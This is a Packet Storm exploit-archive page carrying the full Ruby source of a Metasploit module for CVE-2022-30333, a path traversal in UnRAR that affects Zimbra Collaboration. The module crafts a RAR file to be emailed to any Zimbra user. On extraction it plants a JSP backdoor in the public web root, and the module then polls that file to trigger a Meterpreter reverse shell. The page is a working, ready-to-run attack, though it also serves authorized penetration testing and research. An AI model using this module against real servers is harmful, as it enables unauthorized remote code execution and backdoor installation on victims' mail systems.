what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Zimbra UnRAR Path Traversal

Zimbra UnRAR Path Traversal
Posted Aug 5, 2022
Authored by Ron Bowes, Simon Scannell | Site metasploit.com

This Metasploit module creates a RAR file that can be emailed to a Zimbra server to exploit CVE-2022-30333. If successful, it plants a JSP-based backdoor in the public web directory, then executes that backdoor. The core vulnerability is a path-traversal issue in unRAR that can extract an arbitrary file to an arbitrary location on a Linux system. This issue is exploitable on Zimbra Collaboration versions 9.0.0 Patch 24 and below and 8.8.15 Patch 31 and below provided that UnRAR versions 6.11 or below are installed.

tags | exploit, web, arbitrary
systems | linux
advisories | CVE-2022-30333
SHA-256 | ca0f5b8e2038241415fba603b901534752f2529d4c8d1c1134f97e76d1935fef

Zimbra UnRAR Path Traversal

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::EXE
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::Format::RarSymlinkPathTraversal

def initialize(info = {})
super(
update_info(
info,
'Name' => 'UnRAR Path Traversal in Zimbra (CVE-2022-30333)',
'Description' => %q{
This module creates a RAR file that can be emailed to a Zimbra server
to exploit CVE-2022-30333. If successful, it plants a JSP-based
backdoor in the public web directory, then executes that backdoor.

The core vulnerability is a path-traversal issue in unRAR that can
extract an arbitrary file to an arbitrary location on a Linux system.

This issue is exploitable on the following versions of Zimbra, provided
UnRAR version 6.11 or earlier is installed:

* Zimbra Collaboration 9.0.0 Patch 24 (and earlier)
* Zimbra Collaboration 8.8.15 Patch 31 (and earlier)
},
'Author' => [
'Simon Scannell', # Discovery / initial disclosure (via Sonar)
'Ron Bowes', # Analysis, PoC, and module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2022-30333'],
['URL', 'https://blog.sonarsource.com/zimbra-pre-auth-rce-via-unrar-0day/'],
['URL', 'https://github.com/pmachapman/unrar/commit/22b52431a0581ab5d687747b65662f825ec03946'],
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P25'],
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P32'],
['URL', 'https://attackerkb.com/topics/RCa4EIZdbZ/cve-2022-30333/rapid7-analysis'],
],
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' => [
[ 'Zimbra Collaboration Suite', {} ]
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/',
'TARGET_FILENAME' => nil,
'DisablePayloadHandler' => false,
'RPORT' => 443,
'SSL' => true
},
'Stance' => Msf::Exploit::Stance::Passive,
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2022-06-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),

# Separating the path, filename, and extension allows us to randomize the filename
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),
OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),
]
)

register_advanced_options(
[
OptString.new('SYMLINK_FILENAME', [ false, 'The name of the symlink file to use (must be 12 characters or less; default: random)']),
OptBool.new('TRIGGER_PAYLOAD', [ false, 'If set, attempt to trigger the payload via an HTTP request.', true ]),

# Took this from multi/handler
OptInt.new('ListenerTimeout', [ false, 'The maximum number of seconds to wait for new sessions.', 0 ]),
OptInt.new('CheckInterval', [ true, 'The number of seconds to wait between each attempt to trigger the payload on the server.', 5 ])
]
)
end

# Generate an on-system filename using datastore options
def generate_target_filename
if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')
print_Warning('TARGET_FILENAME does not end with .jsp, was that intentional?')
end

File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")
end

# Normalize the path traversal and figure out where it is relative to the web root
def zimbra_get_public_path(target_filename)
# Normalize the path
normalized_path = Pathname.new(File.join('/opt/zimbra/data/amavisd/tmp', target_filename)).cleanpath

# Figure out where it is, relative to the webroot
webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/zimbra/')
relative_path = normalized_path.relative_path_from(webroot)

# Hopefully, we found a path from the webroot to the payload!
if relative_path.to_s.start_with?('../')
return nil
end

relative_path
end

def exploit
print_status('Encoding the payload as a .jsp file')
payload = Msf::Util::EXE.to_jsp(generate_payload_exe)

# Create a file
target_filename = generate_target_filename
print_status("Target filename: #{target_filename}")

begin
rar = encode_as_traversal_rar(datastore['SYMLINK_FILENAME'] || Rex::Text.rand_text_alpha_lower(4..12), target_filename, payload)
rescue StandardError => e
fail_with(Failure::BadConfig, "Failed to encode RAR file: #{e}")
end

file_create(rar)

print_good('File created! Email the file above to any user on the target Zimbra server')

# Bail if they don't want the payload triggered
return unless datastore['TRIGGER_PAYLOAD']

# Get the public path for triggering the vulnerability, terminate if we
# can't figure it out
public_filename = zimbra_get_public_path(target_filename)
if public_filename.nil?
print_warning('Could not determine the public web path, disabling payload triggering')
return
end

register_file_for_cleanup(target_filename)

interval = datastore['CheckInterval'].to_i
print_status("Trying to trigger the backdoor @ #{public_filename} every #{interval}s [backgrounding]...")

# This loop is mostly from `multi/handler`
stime = Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i
timeout = datastore['ListenerTimeout'].to_i
loop do
break if session_created?
break if timeout > 0 && (stime + timeout < Process.clock_gettime(Process::CLOCK_MONOTONIC).to_i)

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(public_filename)
)

unless res
fail_with(Failure::Unknown, 'Could not connect to the server to trigger the payload')
end

Rex::ThreadSafe.sleep(interval)
end
end
end
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close